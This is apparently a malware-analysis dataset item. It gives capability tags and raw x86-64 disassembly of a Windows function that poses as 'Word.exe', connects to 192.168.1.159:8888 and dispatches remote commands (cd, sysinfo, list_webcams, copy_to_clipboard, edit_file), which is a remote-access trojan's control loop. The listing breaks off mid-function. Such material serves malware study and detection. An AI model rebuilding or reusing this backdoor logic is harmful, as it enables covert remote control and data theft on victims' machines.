Function at 0x140002f10
Capabilities:
Connect socket
Initialize winsock library
Open clipboard
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set console window title
Write clipboard data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x860]
sub rsp, 0x960
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rbp + 0x850], rax
lea rax, [rbp + 0x250]
mov dword [rsp + 0x28], 0x100
mov r9d, 0xffffffff
mov qword [rsp + 0x20], rax
lea r8, str.Word.exe
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rcx, [rbp + 0x250]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x140009a70]
lea rdx, [rbp + 0x90]
movsd xmm0, qword [str.192.168.1.159]
xor r13d, r13d
mov dword [rbp + 0x240], eax
mov ecx, 0x202
movzx eax, word [0x140009a74]
mov r12, 0xffffffffffffffff
mov word [rbp + 0x244], ax
mov eax, dword [str.8888]
mov dword [rbp + 0x230], eax
movzx eax, byte [0x140009a7c]
mov byte [rbp + 0x234], al
mov qword [rsp + 0x58], r13
movsd qword [rbp + 0x238], xmm0
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14000470d
nop dword [rax]
xorps xmm0, xmm0
mov qword [rbp + 0x60], r13
xorps xmm1, xmm1
mov dword [rbp + 0x68], 1
lea r9, [rsp + 0x58]
mov dword [rbp + 0x6c], 6
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0x238]
movdqu xmmword [rbp + 0x70], xmm0
movdqu xmmword [rbp + 0x80], xmm1
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x1400046da
mov rbx, qword [rsp + 0x58]
test rbx, rbx
je 0x1400030a1
nop dword [rax]
nop dword [rax + rax]
mov r8d, dword [rbx + 0xc]
mov edx, dword [rbx + 8]
mov ecx, dword [rbx + 4]
call qword [sym.imp.WS2_32.dll_socket]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x140004742
mov r8d, dword [rbx + 0x10]
mov rcx, rax
mov rdx, qword [rbx + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14000309c
mov rcx, r12
call qword [sym.imp.WS2_32.dll_closesocket]
mov rbx, qword [rbx + 0x28]
mov r12, 0xffffffffffffffff
test rbx, rbx
jne 0x140003050
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp r12, 0xffffffffffffffff
je 0x1400046da
xor r9d, r9d
lea rdx, [rbp + 0x450]
mov r8d, 0x400
mov rcx, r12
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1400046d1
nop word [rax + rax]
xorps xmm0, xmm0
mov r8d, eax
lea rdx, [rbp + 0x450]
mov qword [rbp + 0x50], r13
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x58], r13
movups xmmword [rbp + 0x40], xmm0
call fcn.1400067c0
mov r15, qword [rbp + 0x58]
lea rbx, [rbp + 0x40]
mov r14, qword [rbp + 0x40]
cmp r15, 0xf
mov rdi, qword [rbp + 0x50]
xorps xmm0, xmm0
cmova rbx, r14
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], send
movups xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], r13b
cmp rdi, 3
jb 0x140003185
lea rsi, [rdi + rbx]
mov edx, 0x63
lea r8, [rsi - 2]
mov rcx, rbx
sub r8, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140003185
cmp word [rax], 0x6463
jne 0x140003169
cmp byte [rax + 2], 0x20
je 0x14000350d
inc rax
lea r8, [rsi - 2]
sub r8, rax
mov rcx, rax
mov edx, 0x63
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140003158
cmp r15, 0xf
lea rbx, [rbp + 0x40]
cmova rbx, r14
cmp rdi, 7
jb 0x1400031ea
lea rsi, [rbx + rdi]
mov edx, reloc.WS2_32.dll_WSACleanup
lea r8, [rsi - 6]
mov rcx, rbx
sub r8, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400031ea
cmp dword [rax], 0x6c6c6574
jne 0x1400031ce
cmp word [rax + 4], 0x656d
jne 0x1400031ce
cmp byte [rax + 6], 0x20
je 0x1400037d6
inc rax
lea r8, [rsi - 6]
sub r8, rax
mov rcx, rax
mov edx, reloc.WS2_32.dll_WSACleanup
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x1400031b4
cmp r15, 0xf
lea rbx, [rbp + 0x40]
cmova rbx, r14
cmp rdi, 0x12
jb 0x140003267
lea rsi, [rdi + rbx]
mov edx, 0x63
lea r8, [rsi - 0x11]
mov rcx, rbx
sub r8, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x140003267
nop dword [rax]
movabs rcx, 0x5f6f745f79706f63
cmp qword [rax], rcx
jne 0x14000324b
movabs rcx, 0x72616f6270696c63
cmp qword [rax + 8], rcx
jne 0x14000324b
cmp word [rax + 0x10], 0x2064
je 0x140003acb
inc rax
lea r8, [rsi - 0x11]
sub r8, rax
mov rcx, rax
mov edx, 0x63
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140003220
cmp r15, 0xf
lea rbx, [rbp + 0x40]
cmova rbx, r14
cmp rdi, 0xc
jb 0x1400032d8
lea rsi, [rbx + rdi]
mov edx, 0x6c
lea r8, [rsi - 0xb]
mov rcx, rbx
sub r8, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400032d8
nop word [rax + rax]
movabs rcx, 0x6265775f7473696c
cmp qword [rax], rcx
jne 0x1400032bc
cmp dword [rax + 8], 0x736d6163
je 0x140003dc7
inc rax
lea r8, [rsi - 0xb]
sub r8, rax
mov rcx, rax
mov edx, 0x6c
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x1400032a0
cmp r15, 0xf
lea rbx, [rbp + 0x40]
cmova rbx, r14
cmp rdi, 7
jb 0x14000333d
lea rsi, [rbx + rdi]
mov edx, reloc.WS2_32.dll_WSAStartup
lea r8, [rsi - 6]
mov rcx, rbx
sub r8, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x14000333d
cmp dword [rax], 0x69737973
jne 0x140003321
cmp word [rax + 4], 0x666e
jne 0x140003321
cmp byte [rax + 6], 0x6f
je 0x140003f65
inc rax
lea r8, [rsi - 6]
sub r8, rax
mov rcx, rax
mov edx, reloc.WS2_32.dll_WSAStartup
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140003307
cmp r15, 0xf
lea rbx, [rbp + 0x40]
cmova rbx, r14
cmp rdi, 0xa
jb 0x1400033a7
lea rsi, [rbx + rdi]
mov edx, 0x65
lea r8, [rsi - 9]
mov rcx, rbx
sub r8, rbx
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400033a7
nop dword [rax]
movabs rcx, 0x6c69665f74696465
cmp qword [rax], rcx
jne 0x14000338b
cmp word [rax + 8], 0x2065
je 0x140004035
inc rax
lea r8, [rsi - 9]
sub r8, rax
mov rcx, rax
mov edx, 0x65
call sub.VCRUNTIME140.dll_memchr
test rax, rax
jne 0x140003370
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x60]
call fcn.140001690
mov rbx, rax
lea rax, [rsp + 0x60]
cmp rax, rbx
je 0x140003431
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400033fe
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033f9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000475f
call fcn.1400070b0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], r13b
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000346c
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003467
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000475f
call fcn.1400070b0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__getcwd]
xorps xmm0, xmm0
mov qword [rsp + 0x48], r13
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x50], r13
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r13b
jne 0x140003490
mov rdx, rax
lea rcx, [rsp + 0x38]
call fcn.1400067c0
mov rcx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x48]
mov rax, rcx
sub rax, r8
cmp rax, 4
jb 0x14000446b
lea rax, [r8 + 4]
cmp rcx, 0xf
lea rbx, [rsp + 0x38]
mov qword [rsp + 0x48], rax
cmova rbx, qword [rsp + 0x38]
lea rax, [0x140009ae4]
lea rsi, str._nPS
cmp rax, rbx
jbe 0x140004429
lea rax, [rbx + r8]
cmp rsi, rax
ja 0x140004429
cmp rbx, rsi
ja 0x140004421
mov rdi, r13
jmp 0x14000442e
cmp rax, rbx
jne 0x140003185
mov qword [rbp - 0x30], r13
xorps xmm0, xmm0
mov qword [rbp - 0x28], r13
movups xmmword [rbp - 0x40], xmm0
cmp rdi, 3
jb 0x14000477a
lea rax, [rdi - 3]
mov r8, 0xffffffffffffffff
cmp rax, r8
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x40]
cmovb r8, rax
cmp r15, 0xf
cmova rdx, r14
add rdx, 3
call fcn.1400067c0
mov rdx, qword [rbp - 0x28]
lea rdi, [rbp - 0x40]
mov r8, qword [rbp - 0x40]
lea rbx, [rbp - 0x40]
cmp rdx, 0xf
lea rcx, [rbp - 0x40]
cmova rdi, r8
add rdi, qword [rbp - 0x30]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rbp - 0x30]
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xa
call fcn.140006f30
mov r8, rax
cmp rax, rbx
je 0x1400035c5
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x1400035c5
nop word [rax + rax]
movzx eax, byte [rcx]
cmp al, 0xa
je 0x1400035bd
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x1400035b0
cmp qword [rbp - 0x28], 0xf
lea rax, [rbp - 0x40]
mov rbx, qword [rbp - 0x30]
lea rcx, [rbp - 0x40]
cmova rax, qword [rbp - 0x40]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov rdx, qword [rbp - 0x28]
lea rdi, [rbp - 0x40]
mov r8, qword [rbp - 0x40]
lea rax, [rbp - 0x40]
cmp rdx, 0xf
mov qword [rbp - 0x30], rbx
lea rcx, [rbp - 0x40]
cmova rdi, r8
add rdi, rbx
cmp rdx, 0xf
cmova rax, r8
add rbx, rax
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xd
call fcn.140006f30
mov r8, rax
cmp rax, rbx
je 0x14000367a
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x14000367a
movzx eax, byte [rcx]
cmp al, 0xd
je 0x140003672
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140003665
cmp qword [rbp - 0x28], 0xf
lea rax, [rbp - 0x40]
mov rbx, qword [rbp - 0x30]
lea rcx, [rbp - 0x40]
cmova rax, qword [rbp - 0x40]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp - 0x28], 0xf
cmova rcx, qword [rbp - 0x40]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rdi + rcx]
call sub.VCRUNTIME140.dll_memmove
lea rdx, [rbp - 0x40]
mov qword [rbp - 0x30], rbx
lea rcx, [rbp - 0x60]
call fcn.1400019b0
mov rbx, rax
lea rax, [rsp + 0x60]
cmp rax, rbx
je 0x140003756
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140003723
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000371e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000474a
call fcn.1400070b0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], r13b
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140003791
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000378c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000474a
call fcn.1400070b0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x14000346c
mov rcx, qword [rbp - 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003467
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003467
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rax, rbx
jne 0x1400031ea
mov qword [rbp - 0x10], r13
xorps xmm0, xmm0
mov qword [rbp - 8], r13
movups xmmword [rbp - 0x20], xmm0
cmp rdi, 7
jb 0x140004780
lea rax, [rdi - 7]
mov r8, 0xffffffffffffffff
cmp rax, r8
lea rdx, [rbp + 0x40]
lea rcx, [rbp - 0x20]
cmovb r8, rax
cmp r15, 0xf
cmova rdx, r14
add rdx, 7
call fcn.1400067c0
mov rdx, qword [rbp - 8]
lea rdi, [rbp - 0x20]
mov r8, qword [rbp - 0x20]
lea rbx, [rbp - 0x20]
cmp rdx, 0xf
lea rcx, [rbp - 0x20]
cmova rdi, r8
add rdi, qword [rbp - 0x10]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rbp - 0x10]
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xa
call fcn.140006f30
mov r8, rax
cmp rax, rbx
je 0x140003888
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140003888
movzx eax, byte [rcx]
cmp al, 0xa
je 0x140003880
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140003873
cmp qword [rbp - 8], 0xf
lea rax, [rbp - 0x20]
mov rbx, qword [rbp - 0x10]
lea rcx, [rbp - 0x20]
cmova rax, qword [rbp - 0x20]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp - 8], 0xf
cmova rcx, qword [rbp - 0x20]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov rdx, qword [rbp - 8]
lea rdi, [rbp - 0x20]
mov r8, qword [rbp - 0x20]
lea rax, [rbp - 0x20]
cmp rdx, 0xf
mov qword [rbp - 0x10], rbx
lea rcx, [rbp - 0x20]
cmova rdi, r8
add rdi, rbx
cmp rdx, 0xf
cmova rax, r8
add rbx, rax
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xd
call fcn.140006f30
mov r8, rax
cmp rax, rbx
je 0x14000393d
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x14000393d
movzx eax, byte [rcx]
cmp al, 0xd
je 0x140003935
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140003928
cmp qword [rbp - 8], 0xf
lea rax, [rbp - 0x20]
mov rbx, qword [rbp - 0x10]
lea rcx, [rbp - 0x20]
cmova rax, qword [rbp - 0x20]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp - 8], 0xf
cmova rcx, qword [rbp - 0x20]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rdx, [rbp - 0x20]
mov qword [rbp - 0x10], rbx
lea rcx, [rbp - 0x60]
call fcn.140001da0
mov rbx, rax
lea rax, [rsp + 0x60]
cmp rax, rbx
je 0x140003a19
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400039e6
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039e1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004751
call fcn.1400070b0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], r13b
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x140003a54
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a4f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004751
call fcn.1400070b0
cmp qword [rsp + 0x78], 0xf
lea rdx, [rsp + 0x60]
mov r8, qword [rsp + 0x70]
cmova rdx, qword [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006be0
lea rdx, [0x140006670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x14000346c
mov rcx, qword [rbp - 0x20]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003467
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003467
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rax, rbx
jne 0x140003267
mov qword [rbp + 0x10], r13
xorps xmm0, xmm0
mov qword [rbp + 0x18], r13
movups xmmword [rbp], xmm0
cmp rdi, 0x12
jb 0x140004786
lea rax, [rdi - 0x12]
mov r8, 0xffffffffffffffff
cmp rax, r8
lea rdx, [rbp + 0x40]
lea rcx, [rbp]
cmovb r8, rax
cmp r15, 0xf
cmova rdx, r14
add rdx, 0x12
call fcn.1400067c0
mov rdx, qword [rbp + 0x18]
lea rdi, [rbp]
mov r8, qword [rbp]
lea rbx, [rbp]
cmp rdx, 0xf
lea rcx, [rbp]
cmova rdi, r8
add rdi, qword [rbp + 0x10]
cmp rdx, 0xf
cmova rbx, r8
add rbx, qword [rbp + 0x10]
cmp rdx, 0xf
mov rdx, rbx
cmova rcx, r8
mov r8b, 0xa
call fcn.140006f30
mov r8, rax
cmp rax, rbx
je 0x140003b7d
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140003b7d
movzx eax, byte [rcx]
cmp al, 0xa
je 0x140003b75
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140003b68
cmp qword [rbp + 0x18], 0xf
lea rax, [rbp]
mov rbx, qword [rbp + 0x10]
lea rcx, [rbp]
cmova rax, qword [rbp]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp + 0x18], 0xf
cmova rcx, qword [rbp]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov r8, qword [rbp]
lea rdi, [rbp]
cmp qword [rbp + 0x18], 0xf
lea rax, [rbp]
mov qword [rbp + 0x10], rbx
lea rcx, [rbp]
cmova rdi, r8
add rdi, rbx
cmp qword [rbp + 0x18], 0xf
cmova rax, r8
cmova rcx, r8
add rbx, rax
mov r8b, 0xd
mov rdx, rbx
call fcn.140006f30
mov r8, rax
cmp rax, rbx
je 0x140003c2c
lea rcx, [rax + 1]
cmp rcx, rbx
je 0x140003c2c
movzx eax, byte [rcx]
cmp al, 0xd
je 0x140003c24
mov byte [r8], al
inc r8
inc rcx
cmp rcx, rbx
jne 0x140003c17
cmp qword [rbp + 0x18], 0xf
lea rax, [rbp]
mov rbx, qword [rbp + 0x10]
lea rcx, [rbp]
cmova rax, qword [rbp]
mov r9, r8
sub r9, rax
sub rdi, r8
mov rax, rbx
sub rax, r9
cmp rax, rdi
cmovb rdi, rax
cmp qword [rbp + 0x18], 0xf
cmova rcx, qword [rbp]
sub rbx, rdi
add rcx, r9
mov r8, rbx
sub r8, r9
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
lea rdx, [rbp]
mov qword [rbp + 0x10], rbx
lea rcx, [rbp - 0x60]
call fcn.140001da0
mov r15, qword [rbp - 0x50]
mov r14, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x60]
test r15, r15
je 0x140003d02
lea rdx, [r15 + 1]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rsi, rax
test rax, rax
je 0x140003d02
cmp r14, 0xf
lea rbx, [rbp - 0x60]
mov rcx, rax
cmova rbx, rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
lea r8, [r15 + 1]
mov rdx, rbx
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rsi
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
cmp r14, 0xf
jbe 0x140003d39
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140003d31
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003dc0
mov rcx, rdi
call fcn.1400070b0
mov r8d, 0x22
lea rdx, str.File_contents_copied_to_clipboard.
lea rcx, [rsp + 0x60]
call fcn.1400061a0
cmp qword [rsp + 0x78], 0xf
lea rdx, [rsp + 0x60]
mov r8, qword [rsp + 0x70]
cmova rdx, qword [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006be0
lea rdx, [0x140006670]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000346c
mov rcx, qword [rbp]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003467
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003467
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rax, rbx
jne 0x1400032d8
xorps xmm0, xmm0
mov qword [rbp - 0x70], r13
movups xmmword [rbp - 0x80], xmm0
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x80], r13b
mov qword [rbp - 0x68], send
call fcn.140001f30
mov r14, qword [rbp - 0x70]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0x10
jb 0x140004792
cmp qword [rbp - 0x68], 0xf
lea r15, [rbp - 0x80]
lea rsi, [r14 + 0x10]
mov ebx, send
cmova r15, qword [rbp - 0x80]
lea rdi, [rbp - 0x60]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
cmp rsi, rbx
jbe 0x140003eb0
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140003e54
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
jmp 0x140003e85
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140003e6f
mov rdi, r13
jmp 0x140003eac
cmp rcx, 0x1000
jb 0x140003ea4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000478c
mov rcx, rax
call fcn.1400070b8
test rax, rax
je 0x140003f5e
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003eac
call fcn.1400070b8
mov rdi, rax
mov qword [rbp - 0x60], rdi
movups xmm0, xmmword [str.Webcams_listed:_n]
mov qword [rbp - 0x50], rsi
lea rcx, [rdi + 0x10]
mov qword [rbp - 0x48], rbx
mov r8, r14
mov rdx, r15
movups xmmword [rdi], xmm0
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], r13b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140003f0e
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f09
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003f5e
call fcn.1400070b0
movups xmm0, xmmword [rbp - 0x60]
mov rdx, qword [rbp - 0x68]
movups xmm1, xmmword [rbp - 0x50]
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm1
cmp rdx, 0xf
jbe 0x14000346c
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003467
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003467
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rax, rbx
jne 0x14000333d
lea rcx, [rbp - 0x60]
call fcn.140002380
mov rbx, rax
lea rax, [rsp + 0x60]
cmp rax, rbx
je 0x140003ff0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140003fbd
mov rcx, qword [rsp + 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003fb8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000402e
call fcn.1400070b0
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x78], send
mov byte [rsp + 0x60], r13b
movups xmm0, xmmword [rbx]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], send
mov byte [rbx], r13b
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000346c
mov rcx, qword [rbp - 0x60]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003467
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003467
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
cmp rax, rbx
jne 0x1400033a7
cmp r15, 0xf
lea rsi, [rbp + 0x40]
cmova rsi, r14
cmp rdi, 0xa
jbe 0x14000406f
lea r8, [rdi - 0xa]
mov edx, 0x20
lea rcx, [rsi + 0xa]
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x14000406f
sub rbx, rsi
jmp 0x140004076
mov rbx, 0xffffffffffffffff
cmp rbx, 0xffffffffffffffff
je 0x140004405
mov qword [rbp + 0x30], r13
xorps xmm0, xmm0
mov qword [rbp + 0x38], r13
movups xmmword [rbp + 0x20], xmm0
cmp rdi, 0xa
jb 0x140004774
lea rcx, [rdi - 0xa]
